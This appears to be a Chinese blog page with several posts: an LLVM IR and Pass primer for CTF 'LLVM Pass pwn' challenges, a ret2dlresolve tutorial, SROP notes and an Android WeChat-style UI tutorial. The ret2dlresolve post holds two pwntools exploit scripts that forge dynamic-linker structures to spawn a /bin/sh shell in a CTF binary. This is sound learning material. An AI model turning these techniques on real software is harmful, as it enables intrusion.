    不同的前后端使用统一的中间代码，这样一个新的编程语言出现只需要实现一个新的前端，如果出现了一个新的平台只需要实现一个新的后端

    LLVM IR有三种表示形式

    • 可读IR，类似汇编代码，可以给人看的，后缀.ll
    • 不可读二进制IR，后缀.bc
    • 保存在内存中，内存格式

    LLVM Pass 是一个框架设计，是LLVM系统里重要的组成部分，因为LLVM Pass负责LLVM编译器绝大部分的工作，一系列的Pass组合，构建了编译器的转换和优化部分，抽象成结构化的编译器代码。

    在实现上，LLVM的核心库中会给你一些 Pass类 去继承。你需要实现它的一些方法。 最后使用LLVM的编译器会把它翻译得到的IR传入Pass里，给你遍历和修改。

    LLVM Pass的用处是插桩，机器无关的代码优化，静态分析，代码混淆等

    LLVM 工具

    以下内容来自LLVM Pass入门导引

    • llvm-as：把LLVM IR从人类能看懂的文本格式汇编成二进制格式。注意：此处得到的不是目标平台的机器码。
    • llvm-dis：llvm-as的逆过程，即反汇编。 不过这里的反汇编的对象是LLVM IR的二进制格式，而不是机器码。
    • opt：优化LLVM IR。输出新的LLVM IR。
    • llc：把LLVM IR编译成汇编码。需要用as进一步得到机器码。
    • lli：解释执行LLVM IR。

    Clang

    Clang 是 LLVM 的前端，可以用来编译 C，C++，ObjectiveC 等语言。Clang 的功能包括：词法分析、语法分析、语义分析、生成中间中间代码LLVM Intermediate Representation (LLVM IR)。

    LLVM & Clang环境安装 & 工具测试

    ubuntu20.04下安装LLVM + Clang如下

    sudo apt install clang-12

    sudo apt install clang-8

    sudo apt install llvm-12

    sudo apt install llvm-8

    llvm-12安装之后可以使用opt-12，今年的ciscn的LLVM PASS PWN就是opt-12，一般题目都会给出opt的版本。ubuntu20.04应该自带opt-10如果没有的话，sudo apt install clang-10 && sudo apt install llvm-10

    上面的做题环境都安装完成之后，先写一个c文件，利用Clang将c文件编译成.ll, .bc等格式看一下是否是如上所说，c文件如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #include <stdio.h>
    #include <unistd.h>

    int main(int argc, char **argv){
        char name[0x20];
        puts("hello world");
        puts("plz input your name");
        read(0, name, 0x1F);
        printf("biubiubiu");
        return 0;
    }

    首先是.c->.ll，clang-12 -emit-llvm -S test.c -o test.ll，test.ll(生成的IR文本文件)如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    ; ModuleID = 'test.c'
    source_filename = "test.c"
    target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
    target triple = "x86_64-pc-linux-gnu"

    @.str = private unnamed_addr constant [12 x i8] c"hello world\00", align 1
    @.str.1 = private unnamed_addr constant [20 x i8] c"plz input your name\00", align 1
    @.str.2 = private unnamed_addr constant [10 x i8] c"biubiubiu\00", align 1

    ; Function Attrs: noinline nounwind optnone uwtable
    define dso_local i32 @main(i32 %0, i8** %1) #0 {
      %3 = alloca i32, align 4
      %4 = alloca i32, align 4
      %5 = alloca i8**, align 8
      %6 = alloca [32 x i8], align 16
      store i32 0, i32* %3, align 4
      store i32 %0, i32* %4, align 4
      store i8** %1, i8*** %5, align 8
      %7 = call i32 @puts(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0))
      %8 = call i32 @puts(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.1, i64 0, i64 0))
      %9 = getelementptr inbounds [32 x i8], [32 x i8]* %6, i64 0, i64 0
      %10 = call i64 @read(i32 0, i8* %9, i64 31)
      %11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.2, i64 0, i64 0))
      ret i32 0
    }

    declare dso_local i32 @puts(i8*) #1

    declare dso_local i64 @read(i32, i8*, i64) #1

    declare dso_local i32 @printf(i8*, ...) #1

    attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }
    attributes #1 = { "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }

    !llvm.module.flags = !{!0}
    !llvm.ident = !{!1}

    !0 = !{i32 1, !"wchar_size", i32 4}
    !1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}

    上面的IR很直观，之前提到LLVM PASS的一个用处是优化IR代码，会将上面的可以优化的进行优化

    其次是.c->.bc，clang-12 -emit-llvm -c test.c -o test.bc，bc是不可读二进制

    img

    然后是.ll -> .bc，llvm-as test.ll -o test.bc，结果和上面的一样

    接着是.bc - > .ll，llvm-dis test.bc -o test.ll，同上

    最后还有一个.bc -> .s， llc test.bc -o test.s，将字节码的二进制格式文件转换为本地的汇编文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    .text
        .file   "test.c"
        .globl  main                    # -- Begin function main
        .p2align    4, 0x90
        .type   main,@function
    main:                                   # @main
        .cfi_startproc
    # %bb.0:
        pushq   %rbp
        .cfi_def_cfa_offset 16
        .cfi_offset %rbp, -16
        movq    %rsp, %rbp
        .cfi_def_cfa_register %rbp
        subq    $48, %rsp
        movl    $0, -8(%rbp)
        movl    %edi, -4(%rbp)
        movq    %rsi, -16(%rbp)
        movabsq $.L.str, %rdi
        callq   puts
        movabsq $.L.str.1, %rdi
        callq   puts
        leaq    -48(%rbp), %rsi
        xorl    %edi, %edi
        movl    $31, %edx
        callq   read
        movabsq $.L.str.2, %rdi
        movb    $0, %al
        callq   printf
        xorl    %eax, %eax
        addq    $48, %rsp
        popq    %rbp
        .cfi_def_cfa %rsp, 8
        retq
    .Lfunc_end0:
        .size   main, .Lfunc_end0-main
        .cfi_endproc
                                            # -- End function
        .type   .L.str,@object          # @.str
        .section    .rodata.str1.1,"aMS",@progbits,1
    .L.str:
        .asciz  "hello world"
        .size   .L.str, 12

        .type   .L.str.1,@object        # @.str.1
    .L.str.1:
        .asciz  "plz input your name"
        .size   .L.str.1, 20

        .type   .L.str.2,@object        # @.str.2
    .L.str.2:
        .asciz  "biubiubiu"
        .size   .L.str.2, 10

        .ident  "Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"
        .section    ".note.GNU-stack","",@progbits

    编写第一个LLVM Pass

    通过前面的知识之后，现在可以尝试编写“hello world”的pass，下面是官方的示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    #include "llvm/Pass.h"
    #include "llvm/IR/Function.h"
    #include "llvm/Support/raw_ostream.h"

    #include "llvm/IR/LegacyPassManager.h"
    #include "llvm/Transforms/IPO/PassManagerBuilder.h"

    using namespace llvm;

    namespace {
    struct Hello : public FunctionPass {
      static char ID;
      Hello() : FunctionPass(ID) {}

      bool runOnFunction(Function &F) override {
        errs() << "Hello: ";
        errs().write_escaped(F.getName()) << '\n';
        return false;
      }
    }; // end of struct Hello
    }  // end of anonymous namespace

    char Hello::ID = 0;
    static RegisterPass<Hello> X("hello", "Hello World Pass",
                                 false /* Only looks at CFG */,
                                 false /* Analysis Pass */);

    static RegisterStandardPasses Y(
        PassManagerBuilder::EP_EarlyAsPossible,
        [](const PassManagerBuilder &Builder,
           legacy::PassManagerBase &PM) { PM.add(new Hello()); });

    先声明pass本身，然后声明了一个Hello类，它是FunctionPass的子类。稍后将详细描述不同的内置pass子类，但是现在知道FunctionPass一次对一个函数进行操作。

    然后声明了LLVM用于标识pass的pass标识符。 这允许LLVM避免使用昂贵的C ++运行时信息，如下

    1
    2
    static char ID;
    Hello() : FunctionPass(ID) {}

    然后声明了一个runOnFunction方法，它覆盖了从FunctionPass继承的抽象虚方法。 这是我们应该做的事情，所以我们只用每个函数的名称打印出我们的消息。代码如下

    1
    2
    3
    4
    5
    6
    7
    bool runOnFunction(Function &F) override {
        errs() << "Hello: ";
        errs().write_escaped(F.getName()) << '\n';
        return false;
      }
    }; // end of struct Hello
    }  // end of anonymous namespace

    接着初始化passID。 LLVM使用ID的地址来标识pass，因此初始化值并不重要。代码如下

    1
    char Hello::ID = 0;

    最后，我们注册我们的类Hello，给它一个命令行参数“hello”，并命名为“Hello World Pass”。 最后两个参数描述了它的行为：如果传递遍历CFG而不修改它，那么第三个参数设置为true; 如果pass是分析pass，例如支配树pass，则提供true作为第四个参数。代码如下

    1
    2
    3
    static RegisterPass<Hello> X("hello", "Hello World Pass",
                                 false /* Only looks at CFG */,
                                 false /* Analysis Pass */);

    如果我们想将通道注册为现有管道的一个步骤，则提供了一些扩展点，例如PassManagerBuilder::EP_EarlyAsPossible在任何优化之前应用我们的通道，或者PassManagerBuilder::EP_FullLinkTimeOptimizationLast 在链接时间优化之后应用它。代码如下

    1
    2
    3
    4
    static llvm::RegisterStandardPasses Y(
        llvm::PassManagerBuilder::EP_EarlyAsPossible,
        [](const llvm::PassManagerBuilder &Builder,
           llvm::legacy::PassManagerBase &PM) { PM.add(new Hello()); });

    现在需要将这个Pass编译成模块，使用如下命令即可

    1
    clang-12 `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

    现在应该会看到LLVMHello.so这个文件，通过官方文档可知需要使用以下命令

    1
    opt -load LLVMHello.so -hello test.ll

    这里的 -hello由Hello.cpp中的static RegisterPass<Hello> X参数决定

    但是笔者这里报了一个错Error opening 'LLVMHello.so': LLVMHello.so: cannot open shared object file: No such file or directory，这是因为linux无法在默认地址找到LLVMHello.so，解决很简单`sudo cp LLVMHello.so /lib

    image.png

    成功输出test.c所有函数名称

    对第一个LLVM Pass逆向分析

    刚刚生成了LLVMHello.so这个pass文件，比赛题和上面也一样，会重写FunctionPass类中的runOnFunction函数，所以我们对上面的示例程序进行逆向分析，看一下虚表位置这样方便比赛的时候确定每个函数的位置

    image.png

    跟进RegisterPass

    image.png

    发现调用了callDefaultCtor进行对象创建，跟进它

    image.png

    给Hello对象分配了0x20个空间，跟进Hello

    image.png

    看到虚表了，直接跟进

    image.png

    runOnFunction函数位于虚表中的最后一个位置，因为runOnFunction函数被我们重写了，所以它指向的是我们自定义的那个函数，比赛题的漏洞基本就是这个，所以在做LLVM Pass pwn的时候定位函数的位置可以从虚表入手

    总结

    收获很大，从编译过程到LLVM，加固了计算机底层的一些知识，知道了LLVM PASS PWN该怎么入手，以前看到LLVM PASS PWN的时候都不知道怎么运行（XD），这里第一篇就结束了，后面会继续更新

    Reference

    https://zhuanlan.zhihu.com/p/130702001

    https://zhuanlan.zhihu.com/p/122522485

    https://www.homedt.net/196837.html

    https://llvm.org/docs/WritingAnLLVMPass.html

发表于 分类于 本文字数： 2.7k 阅读时长 ≈ 10 分钟

借鉴文档：【精选】ret2dlresolve超详细教程(x86&x64)-CSDN博客

x86

前置知识

在Linux中，程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。

而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容，从而控制解析的函数。

延迟绑定机制

第一次调用一个函数时，先是到plt表，然后jmp到got表

image.png

此时got表存的地址是在plt表上

image.png

其实也就是jmp got的下一条指令，这里先是push一个数字（该函数在rel.plt上的偏移,reloc_arg，后文会讲到），然后jmp到plt[0] (0x8048380)

image.png

在plt[0]处先是push got[1]，got[1]就是link_map（链接器的标识信息,后文会讲到），然后jmp到got[2]处，got[2]就是_dl_runtime_resolve函数的地址

image.png

image.png

所以相当于执行了

1
_dl_runtime_resolve(link_map,reloc_arg)

这个函数会完成符号的解析，即将真实的write函数地址写入其GOT表对应的条目中，随后将控制器交给被解析的函数

x64

NO RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./')  
elf = ELF('./')  
read_plt = elf.plt['read']  
#我们攻击的目标，.dynamic中strtab的地址，我们要在此处修改指向fake_dynstr  
target_addr = 0x600988 + 8  
#用于加载函数地址的函数，当我们伪造了dynstr后，再次调用即可加载我们需要的函数  
#plt起始地址
plt0_load =    
#pop rdi;ret;  
pop_rdi =  
#pop rsi ; pop r15 ; ret  
pop_rsi = 
#伪造dynstr  
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00'
#bss段起始地址
bss =   
offset = 
payload = flat('a' * offset , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # 将'/bin/sh'以及伪造的strtab写入bss段
                pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # 将.dynamic中的strtab地址改为我们伪造的strtab的地址
                pop_rdi , bss , plt0_load , 1 # 调用.dl_fixup,解析strlen函数，由于我们已经在fake_strtab中将strlen替换成system，所以将会解析system函数

)

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)  
#发送system的参数以及伪造的strtab
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr  
sleep(1)  
r.sendline(payload2)  
sleep(1)  
#修改dynsym里的strtab的地址为我们伪造的dynstr的地址  
r.sendline(p64(bss + 0x10))  
r.interactive()

PARTIAL_RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

#r = gdb.debug("./parelro_x64",'break main')
r = process('./')  
elf = ELF('./')  
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')  
read_plt = elf.plt['read']  
write_got = elf.got['write']  
vuln_addr = elf.sym['vuln']  
  
#bss  
bss =   
bss_stage = bss + 0x100
l_addr =  libc.sym['system'] -libc.sym['write']  # l_addr = -769472, 通常为负数
  
pop_rdi =   
#pop rsi ; pop r15 ; ret  
pop_rsi =   
#用于解析符号dl_runtime_resolve  
plt0 = 
plt_load = plt0 + 6  

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset为负数，如果不控制范围，p64后会越界，发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8，也就是DT_JMPREL，至于为什么有个0，可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0，也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址，解析完成后在这个地址上存放函数的实际地址，此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项，7>>32=0，也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址，由于我们用不到strtab，所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)# 伪造link_map

payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , # 把link_map写到bss段上
                pop_rsi , 0 ,0 , # 使栈十六字节对齐，不然调用不了system
                pop_rdi , bss_stage + 0x48  , plt_load , bss_stage , 0 # 把/bin/sh传进rdi，并且调用_dl_rutnime_resolve函数，传入伪造好的link_map和索引
)

r.recvuntil('Welcome to XDCTF2015~!\n')  
r.sendline(payload)  

r.send(fake_link_map) 

r.interactive()

发表于 分类于 本文字数： 674 阅读时长 ≈ 2 分钟

高级ROP-SROP

之前一直没掌握SROP技术，以此篇重新学习一下SROP

利用工具

在目前的pwntools中已经集成了对于srop的攻击。

使用情况

在汇编代码中看到存在systemcall的时候可以考虑采用该方法进行尝试

下面给出我们将会用到的64位函数及函数调用号和函数原型

系统调用 调用号 函数原型
read 0 read( int fd, void *buf, size_t count )
write 1 write( int fd, const void *buf, size_t count )
sigreturn 15 int sigreturn( … )
execve 59 execve( const char *filename, char *const argv[], char *const envp[] )

###使用sigreturn对read函数调用的寄存器进行部署
接下来就需要注意了，我们进入构造的阶段。我们需要通过sigreturn的调用来实现对read函数调用寄存器的部署。值得高兴的是pwntools中已经有了调用sigreturn的功能，所以在写EXP的时候可以直接使用。再部署之前我们需要之想好在哪几个寄存器中部署什么值，下面列出来一一讲解

寄存器和指令 存储数据
rax 系统调用号
rdi 0
rsi addr
rdx len
rsp addr
rip syscall_ret

首先是rax寄存器中一定是存放read函数的系统调用号啦，因为原汇编代码使用的是syscall，这个不多说了
●rdi寄存器作为read函数的一参，0代表标准输入
●rsi寄存器作为read函数的二参，里面存放的是前面通过write函数打印出来的新栈顶的地址，也就是说将接收到的信息写到我们前面通过write函数打印的新栈顶的位置
●rdx作为read函数的三参写0x400个字节
●rsp寄存器需要和rsi保持一致，在写的时候写在rsp指向的位置
●rip寄存器指向syscall_ret，确保在read函数寄存器部署成功之后可以直接调用read函数

发表于 分类于 本文字数： 12k 阅读时长 ≈ 43 分钟

AS类微信界面开发

功能要求

1.、请根据课程内容设计一个app的门户框架，需要实现3-4个tab切换效果；本功能要求需要的技术为：activity、xml、fragment

2、在任一tab页中实现列表效果；本功能的实现需要使用 recycleview；

开发技术

开发工具：as

版本：API 24 Android 7.0

思路分析

类微信界面主要分为上中下三个部分，其中上下为 top.xml和 bottom.xml 为基础信息显示。

主界面中间部分由4个页面叠加，在进行选择内容时变换界面

其中我选择在聊天界面实现列表效果，采用 recycleview

设计过程

1. 导入所需图片到drawable目录下

image.png

2. 布局设计 xml文件编写

标题栏top.xml

图片

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="50dp"
    android:background="@color/black"
    android:gravity="center"
    android:orientation="vertical">


    <TextView
        android:id="@+id/textView"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_weight="1"
        android:background="@color/black"
        android:gravity="center_horizontal"
        android:text="微信"
        android:textColor="@color/white"
        android:textSize="40sp"></TextView>
</LinearLayout>

底部选择栏bottom.xml

图片

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:baselineAligned="false"
    android:orientation="horizontal">

    <!-- 微信-->
    <LinearLayout
        android:id="@+id/id_tab_wx"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_weight="1"
        android:gravity="center"
        android:orientation="vertical">

        <ImageView
            android:id="@+id/id_tab_wx_img"
            android:layout_width="match_parent"
            android:layout_height="50dp"
            android:background="@color/black"
            android:src="@drawable/wx"/>

        <TextView
            android:id="@+id/id_tab_wx_txt"
            android:layout_width="126dp"
            android:layout_height="wrap_content"
            android:background="@color/black"
            android:gravity="center"
            android:text="聊天"
            android:textColor="@color/white"
            android:textSize="30sp" />
    </LinearLayout>

    <LinearLayout
        android:id="@+id/id_tab_friend"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_weight="1"
        android:gravity="bottom"
        android:orientation="vertical">


        <ImageView
            android:id="@+id/id_tab_friend_img"
            android:layout_width="match_parent"
            android:layout_height="50dp"
            android:background="@color/black"
            android:src="@drawable/txl" />

        <TextView
            android:id="@+id/id_tab_friend_txt"
            android:layout_width="126dp"
            android:layout_height="wrap_content"
            android:gravity="center"
            android:textColor="@color/white"
            android:background="@color/black"
            android:textSize="30sp"
            android:text="通讯" />
    </LinearLayout>

    <LinearLayout
        android:id="@+id/id_tab_address"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_weight="1"
        android:gravity="bottom"
        android:orientation="vertical">

        <ImageView
            android:id="@+id/id_tab_address_img"
            android:layout_width="match_parent"
            android:layout_height="50dp"
            android:background="@color/black"
            android:src="@drawable/find" />

        <TextView
            android:id="@+id/id_tab_address_txt"
            android:layout_width="126dp"
            android:layout_height="wrap_content"
            android:gravity="center"
            android:textColor="@color/white"
            android:background="@color/black"
            android:textSize="30sp"
            android:text="发现" />
    </LinearLayout>

    <LinearLayout
        android:id="@+id/id_tab_setting"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_weight="1"
        android:gravity="bottom"
        android:orientation="vertical">

        <ImageView
            android:id="@+id/id_tab_setting_img"
            android:layout_width="match_parent"
            android:layout_height="50dp"
            android:background="@color/black"
            android:src="@drawable/w" />

        <TextView
            android:id="@+id/id_tab_setting_txt"
            android:layout_width="126dp"
            android:layout_height="wrap_content"
            android:gravity="center"
            android:textColor="@color/white"
            android:background="@color/black"
            android:textSize="30sp"
            android:text="我的" />
    </LinearLayout>

</LinearLayout>

4个fragment.xml

通过一个xml文件将标题栏部分和底部选择栏部分添加到一个xml文件里面，再两个文件中间添加一个content部件，将四个fragment当做卡片压入中间主体部分。四个fragment的xml文件类似，故只放一个文件的内容。

fragment_lt.xml

第一个聊天界面我设置列表效果，只需要添加一个 recycleview 实现列表效果即可

图片

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="utf-8"?>
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    tools:context=".ltFragment">


    <androidx.recyclerview.widget.RecyclerView
        android:id="@+id/recyclerview"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />


</FrameLayout>

其他3个xml页面设置为介绍界面即可，效果和代码如下所示

图片

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".ltFragment">

    <!-- TODO: Update blank fragment layout -->
    <TextView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:gravity="center"
        android:textSize="35sp"
        android:text="这是聊天界面" />

</FrameLayout>

上文已经在相应的 fragment_lt.xml 文件里面添加了 recycleview，此时再添加一个item.xml页面用于页面显示，只包含一个textview

item.xml

图片

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="wrap_content">

    <TextView
        android:id="@+id/itemview"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_weight="1"
        android:gravity="center"
        android:text="TextView"
        android:textColor="@android:color/black"
        android:textSize="40sp" />
</LinearLayout>

main.xml

图片

image.png

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity">

    <include layout="@layout/top" ></include>

    <FrameLayout
        android:id="@+id/content"
        android:layout_width="wrap_content"
        android:layout_height="0dp"
        android:layout_gravity="center"
        android:layout_weight="1">
    </FrameLayout>

    <include layout="@layout/bottom"></include>


</LinearLayout>

3. Java文件代码编写

首先依次创建4个fragement

image.png

会在相应的layout文件夹下生成4个.xml文件

image.png

目前的界面只是一个比较简单的界面，需要完成的功能仅有展示和通过点击部件更换中间部分展示的界面，所以要考虑的代码部分分别为以下四个内容：

  1. 点击监听部分onclick
  1. 将4个fragment压入content里面的代码部分
  1. 将四个卡片隐藏起来的代码部分
  1. 当点击时展示的界面代码部分

创建4个Frangment变量、1个管理对象FragmentManager变量 、4个LinearLayout变量对象

1
2
3
Fragment fragment1,fragment2,fragment3,fragment4;
    FragmentManager fm;
    LinearLayout linearLayout1,linearLayout2,linearLayout3,linearLayout4;

新建一个inital函数用以给Fragment页面初始化，在此函数中，将此前定义个4个Fragment变量使用fragmentManager添加到main文件中的中间主体部分的布局中

1
2
3
4
5
6
7
8
9
10
public void inital() {

    FragmentTransaction ft = fm.beginTransaction()
            .add(R.id.content,fragment1)
            .add(R.id.content,fragment2)
            .add(R.id.content,fragment3)
            .add(R.id.content,fragment4);
    ft.commit();

}

在点击四个部件时需要展示其所代表的界面，故编写新的一个函数showfragment，展示fragment界面

1
2
3
4
5
private void fragmentshow(Fragment fragment) {
       FragmentTransaction transaction = fm.beginTransaction()
               .show(fragment);
       transaction.commit();
   }

而在切换界面时，需要对原先的界面进行隐藏之后再展示所需界面，故编写一个新的函数fragmentHide，将所有的fragment界面都隐藏

1
2
3
4
5
6
7
8
private void fragmenthide() {
        FragmentTransaction ft = fm.beginTransaction()
                .hide(fragment1)
                .hide(fragment2)
                .hide(fragment3)
                .hide(fragment4);
        ft.commit();
    }

仅对底部选择栏的四个控件进行监听，并根据监听所得到的结果调用fragment界面

1
2
3
4
linearLayout1.setOnClickListener(this);
   linearLayout2.setOnClickListener(this);
   linearLayout3.setOnClickListener(this);
   linearLayout4.setOnClickListener(this);

注意这里设置了全局监听

因此要修改和覆写onClick函数

修改此处

image.png

覆写onClick函数

1
2
3
4
5
6
7
8
9
10
11
12
13
@Override
    public void onClick(View view) {
        fragmenthide();
        if (view.getId()==R.id.id_tab_wx){
            fragmentshow(fragment1);
        }else if (view.getId()==R.id.id_tab_friend){
            fragmentshow(fragment2);
        }else if (view.getId()==R.id.id_tab_address){
            fragmentshow(fragment3);
        }else if(view.getId()==R.id.id_tab_setting){
            fragmentshow(fragment4);
        }
    }

而在最开始的界面自然就是聊天界面，故在最开始的时候就调用聊天的fragment

1
fragmentshow(fragment1);

由于点击聊天要实现列表功能，固还需要在 ltfragment 里面实现 recycleview 功能

我们先初始化定义一些变量recyclerView，list，context， myadapter（一个适配器）

1
2
3
4
private RecyclerView recyclerView;
private List<String> list;
private Context context;
private Myadapter myadapter;

然后我们开始在onCreateView（）函数底下写入适配器需要的一些参数和数据：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
                         Bundle savedInstanceState) {
    View view=inflater.inflate(R.layout.fragment_lt,container,false);
    context=view.getContext();
    recyclerView=view.findViewById(R.id.recyclerview);
    list=new ArrayList();
    initData();//初始化数据
    LinearLayoutManager manager=new LinearLayoutManager(context);
    manager.setOrientation(LinearLayoutManager.VERTICAL);

    myadapter = new Myadapter(context,list);

    recyclerView.setAdapter(myadapter);
    recyclerView.setLayoutManager(manager);
    recyclerView.addItemDecoration(new DividerItemDecoration(context,LinearLayoutManager.VERTICAL));
    return view;

    // Inflate the layout for this fragment
    //return inflater.inflate(R.layout.fragment_lt, container, false);
}

分析代码

初始化列表内容

1
2
3
4
5
6
7
8
9
10
11
12
private void initData(){
        list.add("网友1:青青园中葵");
        list.add("网友2:朝露待日晞");
        list.add("网友3:阳春布德泽");
